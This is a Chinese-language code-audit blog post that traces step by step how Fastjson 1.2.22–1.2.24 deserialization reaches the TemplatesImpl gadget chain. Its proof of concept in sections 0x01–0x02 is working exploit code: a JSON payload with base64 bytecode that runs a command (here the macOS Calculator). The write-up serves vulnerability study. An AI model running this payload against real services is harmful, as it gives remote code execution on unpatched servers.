Java代码审计之Fastjson反序列化调用链完整分析过程

Fastjson反序列化调用链完整分析过程

0x01.TemplatesImpl利用链分析

1.为什么会触发?

fastjson反序列化会返回TemplatesImpl对象,并且自动调用TemplatesImpl类的属性对应的set和get方法。而TemplatesImpl类的_outputProperties属性的getter方法(getOutputProperties)符合fastjson反序列化时调用的条件,那么就会执行TemplatesImpl#getOutputProperties,而getOutputProperties里调用了newTransformer()。从而执行了_bytecodes的值转换出来的类里的静态方法或者构造方法里的代码。为什么会执行,详细分析过程见《Java动态加载字节码》的”Gadgets 7u21 调试过程 - TemplatesImpl触发原理”。

2.利用条件

Fastjson中使用TemplatesImpl链的条件比较苛刻,

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。

3.Payload

package com.DemoFastjson.DemoTemplatesImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class DemoTemplatesImpl {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66v......AAAAIAIA==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

分析fastjson反序列化使用TemplatesImpl利用链的POC,发现有些许不一样的地方

  1. 为什么_tfactory是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?

    会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。

  2. _bytecodes为什么是base64编码,而不是字节码?

    fastjson内部做了base64解码

  3. 我们要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties字段,多了一个_

    好像不是必须的,即使有_,也会在代码里替换成空

0x02. Fastjson反序列化的调用过程

// fastjson反序列化(1.2.22-1.2.24),通过TemplatesImpl触发
// 分析文章:https://www.cnblogs.com/nice0e3/p/14601670.html
package com.DemoFastjson.DemoTemplatesImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class DemoTemplatesImpl {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJkxjb20vRGVtb1RlbXBsYXRlc0ltcGwvRGVtb0hlbGxvV29ybGQ7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABNEZW1vSGVsbG9Xb3JsZC5qYXZhDAAcAB0HAC8MADAAMQEAC0hlbGxvIFdvcmxkBwAyDAAzADQHADUMADYANwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADgAOQEAJGNvbS9EZW1vVGVtcGxhdGVzSW1wbC9EZW1vSGVsbG9Xb3JsZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAADQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADwAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAIADQAAABIABAAAABEABAASAAwAEwAVABUADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

进入JSON.parseObject

image-20211028172304854

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
json#parseObject

image-20211028172416304

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
json#parseObject
进入DefaultJSONParser()

image-20211028172456750

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#DefaultJSONParser 
进入 JSONScanner

image-20211028172712224

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONScanner.class
JSONScanner#JSONScanner
注意这里的this.next()

image-20211028172815557

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONScanner.class
JSONScanner#next
其实就是取出我们输入的json格式的字符串的每一个值,每调用一次next,则取下一个的值给ch变量

image-20211028173007919

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#DefaultJSONParser
getCurrent()就是获取当前的ch值,然后赋值给ch
因为我们的payload第一个字符就是"{",所以进入到红框里,token被赋值为12

image-20211028173247168

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
接下来回到了JSON#parseObject,运行到parser.parseObject(clazz, (Object)null)

image-20211028173445805

文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
因为之前token被赋值为12,所以运行到derializer.deserialze(this, type, fieldName)

image-20211028192512126

com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaObjectDeserializer.class
JavaObjectDeserializer#deserialze
三目运算,type是否为Class对象并且type不等于 `Object.class`,type不等于`Serializable.class`,条件为true调用`parser.parseObject`,条件为flase调用`parser.parse`。很显然这里会调用`parser.parse`方法

image-20211028192703369

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parse
token的值为12

image-20211028192916078

所以进入到红框里的代码

image-20211028192848327

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
char ch = lexer.getCurrent(); 取当前位置的字符,因为之前取了第一个字符"{",并且下标+1,所以当前位置的字符是双引号
进入到
key = lexer.scanSymbol(this.symbolTable, '"')

image-20211028193112523

JSONLexerBase#scanSymbol
这里注意,传递进来的参数quote的值是双引号,所以该方法的作用就是取出两个双引号之间的字符串内容
while循环,不断的取出payload里的每一个字符,如果不是双引号则取下一个字符,直到取出双引号后,将前面的字符拼接成字符串后,返回回去

image-20211028193601056

image-20211028193841675

回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
key接收返回值@type

image-20211028193939690

当匹配到@type这个标志符后,再取去双引号里的字符串,即@type的值,也就是类名`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`

image-20211028194513800

image-20211028194424262

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/TypeUtils.class
然后调用loadclass动态加载该类
TypeUtils#loadClass

image-20211028194728657

回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject

image-20211028195340449

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/ParserConfig.class
ParserConfig#getDeserializer

image-20211028195423827

ParserConfig#getDeserializer(Class<?> clazz, Type type)

image-20211028195534488

ParserConfig#createJavaBeanDeserializer

image-20211028195638056

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/JavaBeanInfo.class
JavaBeanInfo#build
到这里就很眼熟了,fastjson反序列化过程中寻找getter方法。

image-20211028200848994

找到了getOutputProperties()方法

image-20211028201047159

回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parserObject

image-20211028201350239

com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName)

image-20211028201542963

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer#deserialze

image-20211028202228027

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONLexerBase.class
JSONLexerBase#scanSymbol

image-20211028202433665

同理,取”\“之间的字符串

image-20211028202605555

然后进入到

image-20211028203302946

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/IOUtils.class
IOUtils#decodeBase64
对bytecodes的值base64解码

image-20211028203518650

com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/serializer/ObjectArrayCodec.class
ObjectArrayCodec#deserialze
解码后

image-20211028203605255

_name、_tfactory、_outputProperties、_bytecodes依次取出

image-20211028203701891

image-20211028202605555

com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer.class#smartMatch
替换_字符为空

image-20211028203905526

com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/FieldDeserializer.class
FieldDeserializer#setValue
当都取完后开始调用方法,而方法就是getOutputProperties

image-20211028204202629

最后就是TemplatesImpl的利用链了

image-20211028204239137

0x03 参考链接

https://xz.aliyun.com/t/7027#toc-7
https://www.cnblogs.com/nice0e3/p/14601670.html

   转载规则


《Java代码审计之Fastjson反序列化调用链完整分析过程》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。